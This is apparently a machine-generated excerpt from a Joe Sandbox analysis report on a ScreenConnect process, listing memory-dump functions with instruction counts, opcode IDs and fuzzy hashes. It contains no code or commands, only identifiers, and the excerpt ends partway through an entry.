Instruction Fuzzy Hash: 6A41BB31A083458FEB15DF69D8C06A67BB0FF5236075989DAD854CB293DB30E817CBA1

Function 04FE7CA3 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9c614c7aa6f6973c71d9217f24b86f4581e07eec9ba09e39028b34f34836b82
Instruction ID: 08b1d83444c194a59226bc37584df3c2d2b611a9b88ff72afac73206483c8d9d
Opcode Fuzzy Hash: b9c614c7aa6f6973c71d9217f24b86f4581e07eec9ba09e39028b34f34836b82
Instruction Fuzzy Hash: D5519E31E102199FDB15DF69C8405EDBBFAFF89314F1481AAD405BB224DB71AE86CB90

Function 04FE0E39 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2eb753ad9a0dc953c3d268b620baacf173e242aa7d1ed9fbd4ef61c16e32a4c
Instruction ID: 88c49535c0c14b1a02f70f961d83b8f5ae0c3101668d15e56a8779c01529f123
Opcode Fuzzy Hash: d2eb753ad9a0dc953c3d268b620baacf173e242aa7d1ed9fbd4ef61c16e32a4c
Instruction Fuzzy Hash: 10418E35A00615CFCB11CF5AC580DAABBF2FF89311B19C9A9E559DB261D730F816CB90

Function 04FE2430 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3adf1495b531e307234e1df770abdfccbcbe55f7bfac0edae7ce2ce247cf2274
Instruction ID: 8529308a890f69ba3f092b33c4abde9c139e73d7713c5d412a9077a64812a75d
Opcode Fuzzy Hash: 3adf1495b531e307234e1df770abdfccbcbe55f7bfac0edae7ce2ce247cf2274
Instruction Fuzzy Hash: 5541BE71E002199FDB159B69C8506EEFBB6BF89300F11816AD406BB291DB35AC42CBA0

Function 04FEF462 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 251336f578bc3846f3b14e5f35fe625143bd75bf90daf63008f1ab64f9230daa
Instruction ID: 657b515bd9c41af30633609d6bacee68c5623076c336579fa5c2b4bafc9d3f06
Opcode Fuzzy Hash: 251336f578bc3846f3b14e5f35fe625143bd75bf90daf63008f1ab64f9230daa
Instruction Fuzzy Hash: 4E41B431F00309ABEB14CF76C854BBEB7F2AF88301F10842AD405AB290EB75A946CB51

Function 04FEF6A0 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cfd0e305bf5cc76739eea54c028b28644847f05ff580f32eb8945db3a72f31f
Instruction ID: 853f4faff64bd5cc3c838da49ff7c51a38f0fcb8720aad8f278c75e6835062e4
Opcode Fuzzy Hash: 7cfd0e305bf5cc76739eea54c028b28644847f05ff580f32eb8945db3a72f31f
Instruction Fuzzy Hash: F9412331A00705ABD734CE6AD95056BB7F5EF88311B148B2EE467C76A4EB30F906CB61

Function 04FE2FD0 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ae8cd070d267c3c1217bce8b63ff28cba3355a0f65967f61f6ec37e206e322d
Instruction ID: 6e13b4a8bd7100b41e754fec154038501a375e3352275d3e5805a2c5daa9019a
Opcode Fuzzy Hash: 4ae8cd070d267c3c1217bce8b63ff28cba3355a0f65967f61f6ec37e206e322d
Instruction Fuzzy Hash: 9631CE35B402108FC7259F29E954A7B7BF5EFC9725B0144A9EA06CB365DA31EC42CB90

Function 04FEE037 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2744229a4fc35b46dd429c4f05b95a1154984ea49cb17d96f8a72f45105185c
Instruction ID: 92e39cd4c3bc9ad376c3463f589cdba2f0c111e69157170d94d36178909ef1dd
Opcode Fuzzy Hash: f2744229a4fc35b46dd429c4f05b95a1154984ea49cb17d96f8a72f45105185c
Instruction Fuzzy Hash: 40413774A00219CFCB54DF28C884B99B7B2FF89314F1485A9E949AB364CB31ED82CF50

Function 04FEF470 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41cc52be759f18197d0ac21b3a4a144b1203de2ba749fa575f0d1b92d62a3056
Instruction ID: 8a6324ddacd0409b7674ca747699f4d3955888815b188034dded1c247b109811
Opcode Fuzzy Hash: 41cc52be759f18197d0ac21b3a4a144b1203de2ba749fa575f0d1b92d62a3056
Instruction Fuzzy Hash: 3431A431F00309ABEF14DF66C854BEE7BF6AF84305F108429D506AB290EB75A946CB91

Function 04FE50E5 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c500c1cc8a98d4e4625446d6d6a89ae20380ae84f089735079348611d046127
Instruction ID: b172b184df9ad9acd5064942c4c0bef147b1e7d39ee11ba777f556f4bc3a0345
Opcode Fuzzy Hash: 6c500c1cc8a98d4e4625446d6d6a89ae20380ae84f089735079348611d046127
Instruction Fuzzy Hash: A9413330A01215DFDB24DF6AD988AAC77B2FF4531AF1012A9E4159B3A1DB39ED81CF00

Function 04FE3875 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02776b9011bd0fe13f62b9472104e0c3e4fa26cacbb1144c60dbc215113272f
Instruction ID: c1469a527a9cb071c972500b344aa68866af677797bddec373e9b97844dd4293
Opcode Fuzzy Hash: b02776b9011bd0fe13f62b9472104e0c3e4fa26cacbb1144c60dbc215113272f
Instruction Fuzzy Hash: 9A414B75A00219CFDB10DF69D588AADBBF2AF88305F148169E801EB361DB74ED46CF51

Function 04FEF2F0 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c5964093be4b4d00e82a8c1ddc35dae8a657e3f3fada1f0f35a110b39dbabe6
Instruction ID: 3ed3deef97259069bdee6d4875421571963d5a3498bc3b9e623c14861d4bc849
Opcode Fuzzy Hash: 3c5964093be4b4d00e82a8c1ddc35dae8a657e3f3fada1f0f35a110b39dbabe6
Instruction Fuzzy Hash: A4318031600205DFCF14CF29D8C456A7BB6EF89321B1441A5E815EF3A9DB31EC52CBA1

Function 04FEE02E Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85f13b669f4040c99ba93ab499d3d87f02378c9ad484c3b549344ac1e54049d6
Instruction ID: 5ac08a1a6b52fcc1c0fdd4d53e327e12248c17a8c3ef3c7d0f7d43c9f7c47dd0
Opcode Fuzzy Hash: 85f13b669f4040c99ba93ab499d3d87f02378c9ad484c3b549344ac1e54049d6
Instruction Fuzzy Hash: 0C412674B40219CFD754DB28C884B69B7F2EF89314F158099E949AB3A1CB71ED82CF41

Function 04FE25A0 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2a18e087b6c648272dbc66e968a1198195cedc0a33fddb3ef563f010106aede
Instruction ID: 581971170037c0dd6c5a7e0aff4c747b5027c3e52eb9eb1f7201a07d625c012b
Opcode Fuzzy Hash: a2a18e087b6c648272dbc66e968a1198195cedc0a33fddb3ef563f010106aede
Instruction Fuzzy Hash: 2321A230B043018FDF119F7A9A9093ABBE9AF8524570581AAE405CF76AEB34EC0587A1

Function 04FE5F01 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ddd196c86664846fae0ca16c6849c5d22497f6d5817ad9e318bc4bfb61950c8
Instruction ID: 1a65bac90fd66abbea19fd66d2a88238004cd02b9baf8be8a7cd7540ef6b6ecd
Opcode Fuzzy Hash: 7ddd196c86664846fae0ca16c6849c5d22497f6d5817ad9e318bc4bfb61950c8
Instruction Fuzzy Hash: 1E31B631E0060AEBDF208FD5D9046FDFB76EFC4315F14552AE515A3244EB706996CB81

Function 04FE39CF Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d61aed0ea551a0314c2c5397ca19b4a5682be535a0bffdbf3e8ef6a774062b9
Instruction ID: dbc828fc73bfd52f39bbdf019aa0bcf3d9ba23c9e24653799938d0147ffb5c8f
Opcode Fuzzy Hash: 7d61aed0ea551a0314c2c5397ca19b4a5682be535a0bffdbf3e8ef6a774062b9
Instruction Fuzzy Hash: 00210E35B042459FDB01CB69C959AADBBF6EF89300F154099D845EB366CB34EC43CB51

Function 04FE00F8 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d43810c8866d4318ec4ad1fc1f65ac776fefd02bba76206bd6aa5a133c2dff0a
Instruction ID: fbdacaa2466b90dbabdf11d16f599f04e793f5ef780891db77f439c4b7011192
Opcode Fuzzy Hash: d43810c8866d4318ec4ad1fc1f65ac776fefd02bba76206bd6aa5a133c2dff0a
Instruction Fuzzy Hash: 2631F934B01215DFDB14DFA9D994AAEB7B2AF89305F108059E505AB364DB75EC02DF40

Function 04FEE878 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a71fb240b8689d366c33c439828f66e6070667e73bb35b5021abf211071f3e42
Instruction ID: 835f33a1e3c1a0e5d42f44c10732b34570fa0adad7cbd6ab8878711ce75d0bad
Opcode Fuzzy Hash: a71fb240b8689d366c33c439828f66e6070667e73bb35b5021abf211071f3e42
Instruction Fuzzy Hash: 483112B6900218AFDF10CF99D844ADEBBF5EF48310F10806AE959A7310C775A956CFA1

Function 04FE548B Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 597751374f2f8ac533949726c56cd150f4040c521894b882ab23a26114a270ae
Instruction ID: 44aea4acbb4c179d5b6f379ec362082895d809916b1a04029bd721e8a29ce940
Opcode Fuzzy Hash: 597751374f2f8ac533949726c56cd150f4040c521894b882ab23a26114a270ae
Instruction Fuzzy Hash: 86316E32900219DFCB54DBA9D844AACB7B2FF85309F5185D9E009AB261DB70AEC5CF40

Function 04FE547F Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 597751374f2f8ac533949726c56cd150f4040c521894b882ab23a26114a270ae
Instruction ID: 44aea4acbb4c179d5b6f379ec362082895d809916b1a04029bd721e8a29ce940
Opcode Fuzzy Hash: 597751374f2f8ac533949726c56cd150f4040c521894b882ab23a26114a270ae
Instruction Fuzzy Hash: 86316E32900219DFCB54DBA9D844AACB7B2FF85309F5185D9E009AB261DB70AEC5CF40

Function 04FE5299 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f519ee1ca7341194e1b21d654ab8369a66b0e19f13362429a9d44bc5bc450c06
Instruction ID: d6c0374ea7b80f6492b190d745920a5e16f2d794ae73d54632dbae6ba1581659
Opcode Fuzzy Hash: f519ee1ca7341194e1b21d654ab8369a66b0e19f13362429a9d44bc5bc450c06
Instruction Fuzzy Hash: 8E41B174A01228DFCB65DF95C984AD9BBB2BF59305F5081D5E449AB361C7B0AEC1CF40

Function 04FE25B8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4e1750a056ff7696240b04d8b97859aabd56f5636c59c8aa59155706782ab59
Instruction ID: 68522770c329933574ce0ba6f6b3f250e61096f9f482a7063092480e999c3968
Opcode Fuzzy Hash: b4e1750a056ff7696240b04d8b97859aabd56f5636c59c8aa59155706782ab59
Instruction Fuzzy Hash: F1217430B002058BDF14DF6ED59097EB7E9AF88385B118169E805DF358EF74EC014790

Function 04FE64B8 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cfdab3c57758b8d4d0d630658f4e0bebca3bce730365374811fbb323a6363dd
Instruction ID: 7714939fc7e6e498c03c5fbee54280dfd0a92f9ea4746b910ddb6b617497cc59
Opcode Fuzzy Hash: 8cfdab3c57758b8d4d0d630658f4e0bebca3bce730365374811fbb323a6363dd
Instruction Fuzzy Hash: 643171306002098FDF28DF29DDC456A7B71EF94311B14426AE8159F299EB31E992CBD1

Function 04FEE884 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a3b51488242b27c8fab05ba49e19e5ca4305126c046fab052f027a4cfc2a787
Instruction ID: 6693c693d3de51ab2b2c4e13bcb393d7a2d10c2ec10db42bb47729257292c578
Opcode Fuzzy Hash: 9a3b51488242b27c8fab05ba49e19e5ca4305126c046fab052f027a4cfc2a787
Instruction Fuzzy Hash: 7031E4B6D00208AFDF10CF99D844ADEBBF5EB48310F10842AE919A7350C775A955CFA1

Function 04FE8829 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e177cfb76b9d19888fe4aefeed85290f90bfe93cb9ff023538c4d52acfd604d9
Instruction ID: 766d822393176cdcc57a1e081a1b355ccd0cdd658ce3afbeee08c44ef9baa481
Opcode Fuzzy Hash: e177cfb76b9d19888fe4aefeed85290f90bfe93cb9ff023538c4d52acfd604d9
Instruction Fuzzy Hash: 7D312774A102188FCB55DF69C844AADB7F6FF89311F5081AAD40AE7360DB31AE82CF50

Function 04FEF800 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90d57158edd2ade4ac29868aff798354bc76db5884fce2036e3c947da160c1ef
Instruction ID: 663f47eb7d91fe752c327301d6ca67aaff514979930b2f74ad54c44ad6b6f591
Opcode Fuzzy Hash: 90d57158edd2ade4ac29868aff798354bc76db5884fce2036e3c947da160c1ef
Instruction Fuzzy Hash: 8631D1B6D00208AFDF10CF99D844ADEBBF5FB48310F10842AE919A7350C775A956CFA1

Function 04FEEA70 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3954a38ba042f09d9885ae94c295ef22f7363105e5c23dda403e05da79b1487c
Instruction ID: 791ac2cc8d0a2dab38594a14776f912cc0d498a437897efa03f280a9fca2cff6
Opcode Fuzzy Hash: 3954a38ba042f09d9885ae94c295ef22f7363105e5c23dda403e05da79b1487c
Instruction Fuzzy Hash: 9321C570A44346AFE745DB29DC41ABBB7A5FF81218B10892ED2019F355DBB1EC068BD0

Function 04FE3039 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebfa0150b799e2c37ad5dc57cb70212a06e1a7783fcfba8e2fa3da5e0bf2666e
Instruction ID: e8796a59b2a3b381eaf04afa9b4a52ff8b012a584005d9d33051ae1c0d7aaf27
Opcode Fuzzy Hash: ebfa0150b799e2c37ad5dc57cb70212a06e1a7783fcfba8e2fa3da5e0bf2666e
Instruction Fuzzy Hash: 8621DC307403109FC756DB29D914A2ABBF2FFC5711B0548ADE6468B3A1CA35FC42CB80

Function 04FE55A1 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d121579fcc8c0aca3335a93f935ede4f61c05dcb541939503db028fba03f7da
Instruction ID: 60250893467bb6fff2e0ed21c63268d45fc8efdd66a150652ee1c10538eb1352
Opcode Fuzzy Hash: 2d121579fcc8c0aca3335a93f935ede4f61c05dcb541939503db028fba03f7da
Instruction Fuzzy Hash: 73110331B007069FCB25DBAAE8805AABBF6FFC431AB048529D455C7641D770B84A8B90

Function 04FEBDA8 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b16ff184087535e031d8834040a71dc44b45c34fe472f7213dc9b8714e6c9323
Instruction ID: 54106beeffa496aa979c599bd13486cc7981fcbca8477a7c1af253bbaf8d4dce
Opcode Fuzzy Hash: b16ff184087535e031d8834040a71dc44b45c34fe472f7213dc9b8714e6c9323
Instruction Fuzzy Hash: 21114F71A045159FCB15DF6ACC409BBBBF9FF892247108665E539D72A1E730A901CB50

Function 04FEFC20 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e81edf5a94fed6378ec174c8fdf860e0aad066cab470e09c263495cdf9369cc3
Instruction ID: 65379bdfe5fa429e3bc2d6fb06e291f926182a48f4e2d4128d6b23bcbb39fca4
Opcode Fuzzy Hash: e81edf5a94fed6378ec174c8fdf860e0aad066cab470e09c263495cdf9369cc3
Instruction Fuzzy Hash: 1C2117B1C002599FDB10CFAAD444BEEFBF4EB48320F15842AE959A7250C778A645CFA5

Function 04FE3048 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4d07d0d4eb60d38dacfa464aac644257742a2973de619ac88ac8fc6508df47
Instruction ID: 0dcf40f278b09d1f8951e6528919bc181c872828b02e102fa84e5062c476baa0
Opcode Fuzzy Hash: ff4d07d0d4eb60d38dacfa464aac644257742a2973de619ac88ac8fc6508df47
Instruction Fuzzy Hash: 4D116A757406108FC755EB29D954A2AB7E2FFC8711B0148ADE6068F3A4CB75FC42CB80

Function 04FEEB58 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b7c7b211852e5a56c076fd6350d7ed5abc928b1b6edb61b171c13cd07b317d
Instruction ID: 6d1ac261af0d440e386b1fd96141e6473a3f6009da953132fab7cea5ddba965c
Opcode Fuzzy Hash: b2b7c7b211852e5a56c076fd6350d7ed5abc928b1b6edb61b171c13cd07b317d
Instruction Fuzzy Hash: 9B1133326001095FE745DF99EC4099FBBEAFFC4254714852AE619DB360EB32E9168BD0

Function 04FEFC28 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c4b60359589c7b42eb14efe949d201658c32fc7c75d01fe04560a675724dcf9
Instruction ID: d0feb324929f8623d3614c6fe4a0116cef006f48f8c6ff48af27828eaa842c15
Opcode Fuzzy Hash: 5c4b60359589c7b42eb14efe949d201658c32fc7c75d01fe04560a675724dcf9
Instruction Fuzzy Hash: A12129B1C002599FDB10CF9AC444BEEFBF8EB48320F14842AE958A7250C778A545CFA5

Function 04FE3A08 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b818f2a41e97f05ea42c2a8366af2dd174e3bb9caf368ac72d4bf1cb67021f80
Instruction ID: 1cea99a8298aaea0d7c210164cbd44fbd235b8dc23e95c44090d56e75f6b5cea
Opcode Fuzzy Hash: b818f2a41e97f05ea42c2a8366af2dd174e3bb9caf368ac72d4bf1cb67021f80
Instruction Fuzzy Hash: E1112E34B002199FDB04DB59C958AADB7F6AF8C300F158069E805EB365DB35EC01CB90

Function 04FEFB88 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 833fd03ba3a03bd797babc68817606589a47ab100926736e7b999433bb26e55e
Instruction ID: 6be2348decbede44f03e7fbdd41c43f8443a9218a2e2c4ddd8e823f1849bf4c8
Opcode Fuzzy Hash: 833fd03ba3a03bd797babc68817606589a47ab100926736e7b999433bb26e55e
Instruction Fuzzy Hash: FC01A1322002055F9705DB69EC509AFBBE5FFC4264300893AE219DB350EE32E9068BE0

Function 04FE37D0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd82edf91038ac369b1e8eac930fb90a233c56c01753ab6145297f5722ff9194
Instruction ID: 86ccda4b64f02a5afc1de0734d6f0a76b4754cb10f4b5b8cea36114bd4f17ca3
Opcode Fuzzy Hash: cd82edf91038ac369b1e8eac930fb90a233c56c01753ab6145297f5722ff9194
Instruction Fuzzy Hash: BB11D635A00205CFDB14DFA9D588AADB7F1EF8C315F14816AE805AB360D730E946CF50

Function 04FEE4D8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3018828490.0000000004FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4fe0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 274405acae2c3b324b903797e047c0d74cc2076cfe46cd47dbb8542dd3f4261d
Instruction ID: fd78ea153a1a9626f832a234cf9e214e6a743d98fe6f26bb26b3a63ec6b1f077
Opcode Fuzzy Hash: 274405acae2c3b324b903797e047c0d74cc2076cfe46cd47dbb8542dd3f4261d
